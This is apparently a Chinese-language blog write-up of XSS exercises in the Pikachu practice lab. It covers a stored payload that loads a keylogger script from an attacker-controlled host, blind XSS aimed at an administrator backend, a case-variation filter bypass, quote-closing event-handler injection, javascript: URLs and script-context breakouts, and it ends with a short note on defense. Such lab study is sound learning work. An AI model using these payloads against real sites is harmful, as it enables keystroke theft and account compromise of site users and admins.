pikachu-xss(2)

获取键盘记录

 

 

 

 

同样,  攻击js脚本位于网站目录下的 pkxss/rkeypress/rk.js
这里是攻击者的地址
留言板输入恶意代码
<script src='http://192.168.21.10/pikachu-master/pkxss/rkeypress/rk.js'></script>

 这里出错的原因可能是因为同源策略的保护,虽然event是js自带的函数

执行成功的结果

 

 

xss盲打
发现内容无法在网页前端显示出来, 也就是没有写入到前端页面, 而是提交到了后台
倘若注入xss, 则无法得知是否xss被执行, 但是管理员回去看, 假如我们注入了xss代码, 同时管理员又访问了后台, 且后台把我们的内容输出, 那么后台管理员可能遭受到我们的XSS攻击
这也是称为Xss盲打的原因
查看页面源代码发现,没有动就输出了所以在前台写js代码输出一个弹窗
<script>alert('111')</script>

 

 后台管理员登陆后

 

 xss之过滤

查看源码发现被过滤掉了script

 下面是几种绕过的方式

 

 我是大小写绕过

<ScRiPt>alert(1)</ScRipt>

 

 xss之htmlspecialchars

htmlspecialchars() 函数,PHP里面把预定义的字符转换为HTML实体的函数预定义的字符与可用引号类型请自行百度查找
经过分析发现写入的内容做了一个链接

由于函数的原因,部分特殊字符都被转义了,但是单引号没有被转义,那么我们可以采用闭合绕过
' onfocus='alert(1)  // 单引号闭合+事件标签

javascript:alert(1)  // JavaScript伪协议

 

 

xss之href输出
这里是将用户输入的url作为a便签的href属性值
查看源码发现这次也是使用的htmlspecialchars() 函数过滤但这次过滤了单引号
利用js伪协议
javascript:alert(1)

 

xss之js输出

这里输入内容被动态生成到js代码中了
观察源码发现可以使用<script>闭合
</script><script>alert('1')</script>

 

 对于xss的防范措施

在href中的防范措施:只允许http,https,其次在进行特殊字符处理

 
posted @ 2020-03-31 14:19  漩溺  阅读(191)  评论(0编辑  收藏  举报